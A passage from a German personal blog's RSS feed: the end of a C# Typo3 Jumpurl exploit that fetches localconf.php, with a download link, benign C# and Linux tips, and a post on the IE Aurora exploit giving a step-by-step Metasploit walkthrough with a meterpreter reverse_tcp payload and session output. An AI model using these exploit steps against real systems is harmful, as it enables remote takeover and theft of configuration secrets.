		Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;# Typo3 Jumpurl exploit&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>	
		Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;# Usage: http://&lt;domainname&gt;.&lt;tld&gt;/ &lt;file[OPTIONAL]&gt;&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
		Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;# More: http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
	<span style="color: #000000;">&#125;</span>	
<span style="color: #000000;">&#125;</span></pre></div></div><p>Ist das zweite Argument beim Programmaufruf nicht gesetzt wird versucht die Typo3 Konfigurationsdatei aus dem standard Pfad (typo3conf/localconf.php) herunterzuladen.</p><p>Das komplette Mono Projekt inklusive der ausführbaren Datei kann hier heruntergeladen werden:</p><h3><a
href="http://www.monkey-business.biz/wp-content/uploads/2010/02/csharp_typo3_jumpurl.zip" title="Typo3 Jumpurl Exploit - C# Mono Projekt - herunterladen">Typo3 Jumpurl Exploit &#8211; C# Mono Projekt &#8211; herunterladen</a></h3><p>(Das Programm ist zu Studienzwecken da und nicht um damit Unfug zu treiben)</p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>C#: Internetseite als String zurückgeben</title><link>http://www.monkey-business.biz/497/c-internetseite-als-string-zuruckgeben/</link> <comments>http://www.monkey-business.biz/497/c-internetseite-als-string-zuruckgeben/#comments</comments> <pubDate>Thu, 11 Feb 2010 19:22:58 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[C#]]></category> <category><![CDATA[Entwicklung]]></category> <category><![CDATA[HTTP]]></category><guid
isPermaLink="false">http://www.monkey-business.biz/?p=497</guid> <description><![CDATA[Öfter habe ich nun schon im Web gelesen, das Beispielcode gesucht wird, wie es in C# möglich ist eine Internetseite als Rückgabewert einer Methode als String zurück zu erhalten. Ich verwende hierbei die Klasse WebRequest für die HTTP Anfrage und den Streamreader zum lesen des Ergebnisses. Folgender, gut kommentierter, Codeschnippsel den ich für ein kleines [...]]]></description> <content:encoded><![CDATA[<p>Öfter habe ich nun schon im Web gelesen, das Beispielcode gesucht wird, wie es in C# möglich ist eine Internetseite als Rückgabewert einer Methode als String zurück zu erhalten. Ich verwende hierbei die Klasse WebRequest für die HTTP Anfrage und den Streamreader zum lesen des Ergebnisses. Folgender, gut kommentierter, Codeschnippsel den ich für ein kleines Projekt erstellt habe sollte dir weiterhelfen:</p><div
class="wp_syntax"><div
class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #008080; font-style: italic;">/*
 * [url = string] die URL
 * [buffersize = int] Größe des Buffers
 */</span>
<span style="color: #0600FF;">private</span> <span style="color: #0600FF;">static</span> <span style="color: #FF0000;">string</span> http_get_as_string<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">string</span> url, <span style="color: #FF0000;">int</span> buffersize<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
        <span style="color: #008080; font-style: italic;">// Initialisiert den Webrequest</span>
	WebRequest request <span style="color: #008000;">=</span> WebRequest.<span style="color: #0000FF;">Create</span><span style="color: #000000;">&#40;</span>url<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080; font-style: italic;">// Der Anfragentyp. Wir übertragen keine POST Daten</span>
	request.<span style="color: #0000FF;">Method</span> <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;GET&quot;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080; font-style: italic;">// Sollte keine nach 10000 Millisekunden keine Antwort kommen abbrechen</span>
	request.<span style="color: #0000FF;">Timeout</span> <span style="color: #008000;">=</span> <span style="color: #FF0000;">10000</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080; font-style: italic;">// Fehler Abfangen für den Fall das keine Antwort kommt</span>
	<span style="color: #0600FF;">try</span>
 	<span style="color: #000000;">&#123;</span>
                <span style="color: #008080; font-style: italic;">// Die Antwort des Webservers erhalten</span>
		HttpWebResponse response <span style="color: #008000;">=</span> <span style="color: #000000;">&#40;</span>HttpWebResponse<span style="color: #000000;">&#41;</span> request.<span style="color: #0000FF;">GetResponse</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #008080; font-style: italic;">// Gibt den Datenstream der Antwort zurück</span>
                Stream resource <span style="color: #008000;">=</span> response.<span style="color: #0000FF;">GetResponseStream</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #008080; font-style: italic;">// Der Streamreader wird verwendet um aus dem Antwort Datenstream zu lesen</span>
                StreamReader stream <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StreamReader<span style="color: #000000;">&#40;</span>resource<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #008080; font-style: italic;">// Der Lesebuffer zum lesen aus dem Datenstream wird erstellt</span>
		<span style="color: #FF0000;">char</span><span style="color: #000000;">&#91;</span><span style="color: #000000;">&#93;</span> buffer <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> <span style="color: #FF0000;">char</span><span style="color: #000000;">&#91;</span>buffersize<span style="color: #000000;">&#93;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #008080; font-style: italic;">// Lesen der Daten aus dem Stream</span>
		stream.<span style="color: #0000FF;">Read</span><span style="color: #000000;">&#40;</span>buffer, <span style="color: #FF0000;">0</span>, buffersize<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #008080; font-style: italic;">// Erstellt aus dem Char Array einen String und gibt Ihn zurück</span>
		<span style="color: #0600FF;">return</span> <span style="color: #008000;">new</span> <span style="color: #FF0000;">string</span><span style="color: #000000;">&#40;</span>buffer<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
 	<span style="color: #000000;">&#125;</span>
	<span style="color: #0600FF;">catch</span> <span style="color: #000000;">&#40;</span>WebException e<span style="color: #000000;">&#41;</span>
	<span style="color: #000000;">&#123;</span>
 		<span style="color: #0600FF;">return</span> <span style="color: #666666;">&quot;&quot;</span><span style="color: #008000;">;</span>
 	<span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span></pre></div></div><p>Die Funktion ermöglicht nicht nur das einlesen von HTML Code sondern ebenso das einlesen von XML, CSS oder Javascript Datein. Kurzum alle Dateien die über HTTP erreichbar sind. Für Fragen steht die Kommentarfunktion zur Verfügung.</p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/497/c-internetseite-als-string-zuruckgeben/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Linux: Umount &#8211; device is busy</title><link>http://www.monkey-business.biz/484/linux-umount-device-is-busy/</link> <comments>http://www.monkey-business.biz/484/linux-umount-device-is-busy/#comments</comments> <pubDate>Sat, 30 Jan 2010 13:12:49 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Umount]]></category><guid
isPermaLink="false">http://www.monkey-business.biz/?p=484</guid> <description><![CDATA[Wer kennt das nicht::~$ umount /media/disk/
umount: /media/disk: device is busy&#8220;device is busy&#8221; &#8211; Der Wechseldatenträger lässt sich nicht aushängen, weil er gerade noch von einem Programm in Benutzung ist. Die Umount Option -f führt nicht zum Ziel. Auch wenn -f für &#8220;force&#8221; steht. Den Datenträger dennoch auszuhängen ist folgendermaßen möglich::~$ umount -l /dev/diskIn der Manpage [...]]]></description> <content:encoded><![CDATA[<p>Wer kennt das nicht:</p><div
class="wp_syntax"><div
class="code"><pre class="bash" style="font-family:monospace;">:~$ <span style="color: #c20cb9; font-weight: bold;">umount</span> <span style="color: #000000; font-weight: bold;">/</span>media<span style="color: #000000; font-weight: bold;">/</span>disk<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #c20cb9; font-weight: bold;">umount</span>: <span style="color: #000000; font-weight: bold;">/</span>media<span style="color: #000000; font-weight: bold;">/</span>disk: device is busy</pre></div></div><p>&#8220;device is busy&#8221; &#8211; Der Wechseldatenträger lässt sich nicht aushängen, weil er gerade noch von einem Programm in Benutzung ist. Die Umount Option -f führt nicht zum Ziel. Auch wenn -f für &#8220;force&#8221; steht. Den Datenträger dennoch auszuhängen ist folgendermaßen möglich:</p><div
class="wp_syntax"><div
class="code"><pre class="bash" style="font-family:monospace;">:~$ <span style="color: #c20cb9; font-weight: bold;">umount</span> <span style="color: #660033;">-l</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>disk</pre></div></div><p>In der Manpage steht zur Option -l:</p><blockquote><p>&#8220;-l Lazy unmount. Detach the filesystem from the filesystem hierarchy now, and cleanup all refer* ences to the filesystem as soon as it is not busy anymore. (Requires Kernel 2.4.11 or later.)&#8221;</p></blockquote> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/484/linux-umount-device-is-busy/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>BSI warnt: Internet Explorer Aurora Exploit</title><link>http://www.monkey-business.biz/459/bsi-warnt-internet-explorer-aurora-exploit/</link> <comments>http://www.monkey-business.biz/459/bsi-warnt-internet-explorer-aurora-exploit/#comments</comments> <pubDate>Wed, 20 Jan 2010 22:31:24 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[Aurora]]></category> <category><![CDATA[BSI]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Internet Explorer]]></category> <category><![CDATA[Metasploit]]></category> <category><![CDATA[Tutorial]]></category><guid
isPermaLink="false">http://www.monkey-business.biz/?p=459</guid> <description><![CDATA[Verspätet muss ich meine Freude über die Warnung  des BSI vor dem Internet Explorer veröffentlichen. Der Fehler ist bisher noch ungepacht und das Exploit schon seit einiger Zeit online verfügbar. Es sind die Versionen 6 &#8211; 8 von Microsofts Internet Explorer betroffen. Laut heise.de wurden über diesen Schwachpunkt im Browser bereits gezielte Angriffe auf [...]]]></description> <content:encoded><![CDATA[<p>Verspätet muss ich meine Freude über die <a
href="https://www.bsi.bund.de/cln_183/ContentBSI/Presse/Pressemitteilungen/Sicherheitsluecke_IE_150110.html" target="_blank">Warnung  des BSI</a> vor dem Internet Explorer veröffentlichen. Der Fehler ist bisher noch ungepacht und das Exploit schon seit einiger Zeit online verfügbar. Es sind die Versionen 6 &#8211; 8 von Microsofts Internet Explorer betroffen. Laut <a
href="http://www.heise.de/newsticker/meldung/Luecke-im-Internet-Explorer-Gute-und-schlechte-Nachrichten-908167.html" target="_blank" title="heise.de">heise.de</a> wurden über diesen Schwachpunkt im Browser bereits gezielte Angriffe auf Google und andere amerikanische Firmen verübt. Microsoft selber empfiehlt die Sicherheitseinstellungen im Internet Explorer auf &#8220;hoch&#8221; zu stellen. Das deaktivieren von Javascript reicht jedoch aus um der Gefahr des Internet Explorer Aurora Exploit zu entgehen.  Inzwischen wurde das Exploit sogar in das Exploit Framework <a
href="http://www.metasploit.com/" target="_blank">Metasploit</a> aufgenommen. Das Exploit aus dem Metasploit Framework ist nur beim Internet Explorer 6 funktional. Auf den Internet Explorer 7 sind trotz Protected Mode auch unter Windows Vista erfolgreiche Angriffe möglich.  In der achten Version des Internet Explorers verhindert DEP (Data Execution Prevention) das Ausführen des Schädlichen Quellcodes. Um das &#8220;Internet Explorer Aurora Exploit&#8221; in die Finger zu bekommen muss man sich den aktuellen Snapshot via Subversion herunterladen. Die aktuelle Download Version war zum Veröffentlichungszeitpunkt das Metasploit Framework 3.3.3. Der Downloadvorgang ist denkbar einfach und schnell:</p><div
class="wp_syntax"><div
class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">mkdir</span> METASPLOITORDNER
<span style="color: #7a0874; font-weight: bold;">cd</span> METASPLOITORDNER
<span style="color: #c20cb9; font-weight: bold;">svn</span> <span style="color: #c20cb9; font-weight: bold;">co</span> https:<span style="color: #000000; font-weight: bold;">//</span>www.metasploit.com<span style="color: #000000; font-weight: bold;">/</span>svn<span style="color: #000000; font-weight: bold;">/</span>framework3<span style="color: #000000; font-weight: bold;">/</span>trunk<span style="color: #000000; font-weight: bold;">/</span></pre></div></div><p>Das Aurora Exploit aus dem Metasploit Framework verwendet man folgendermaßen:</p><div
class="wp_syntax"><div
class="code"><pre class="bash" style="font-family:monospace;">:~$ <span style="color: #7a0874; font-weight: bold;">cd</span> METASPLOITORDNER
:~$ msfconsole
msf <span style="color: #000000; font-weight: bold;">&gt;</span> use exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>browser<span style="color: #000000; font-weight: bold;">/</span>ie_aurora
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ie_aurora<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">set</span> PAYLOAD windows<span style="color: #000000; font-weight: bold;">/</span>meterpreter<span style="color: #000000; font-weight: bold;">/</span>reverse_tcp
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ie_aurora<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">set</span> LHOST <span style="color: #7a0874; font-weight: bold;">&#40;</span>deine IP<span style="color: #7a0874; font-weight: bold;">&#41;</span>
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ie_aurora<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">set</span> URIPATH <span style="color: #000000; font-weight: bold;">/</span>
msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ie_aurora<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> exploit</pre></div></div><div
class="wp_syntax"><div
class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Exploit running <span style="color: #c20cb9; font-weight: bold;">as</span> background job.
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Started reverse handler on port <span style="color: #000000;">4444</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Local IP: http:<span style="color: #000000; font-weight: bold;">//</span>192.168.2.101:<span style="color: #000000;">8080</span><span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Server started.</pre></div></div><p>Nach dieser Ausgabe landet man wieder an einer Eingabeaufforderung.</p><div
class="wp_syntax"><div
class="code"><pre class="bash" style="font-family:monospace;">msf exploit<span style="color: #7a0874; font-weight: bold;">&#40;</span>ie_aurora<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div><p>Nun wird mit dem Internet Explorer Kontakt zur eigenen IP Adresse aufgenommen. Wenn der Exploit erfolgreich ausgeführt wird erscheint die Ausgabe:</p><div
class="wp_syntax"><div
class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Sending stage <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">723456</span> bytes<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Loaden session <span style="color: #000000;">1</span> opened <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.2.101:<span style="color: #000000;">4444</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.0.2.101<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div><p>Metasploit bietet nun die Möglichkeit die Kontrolle des Rechners zu übernehmen. Darauf werde ich hier jedoch nicht weiter eingehen. Es lässt sich hoffen das es demnächst ein Update für den Internet Explorer geben wird.</p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/459/bsi-warnt-internet-explorer-aurora-exploit/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- This site's performance optimized by W3 Total Cache. Dramatically improve the speed and reliability of your blog!

Learn more about our WordPress Plugins: http://www.w3-edge.com/wordpress-plugins/

Minified using memcached
Database Caching 7/11 queries in 0.004 seconds using memcached

Served from: mail.einmalmitprofis.com @ 2010-03-10 11:42:00 -->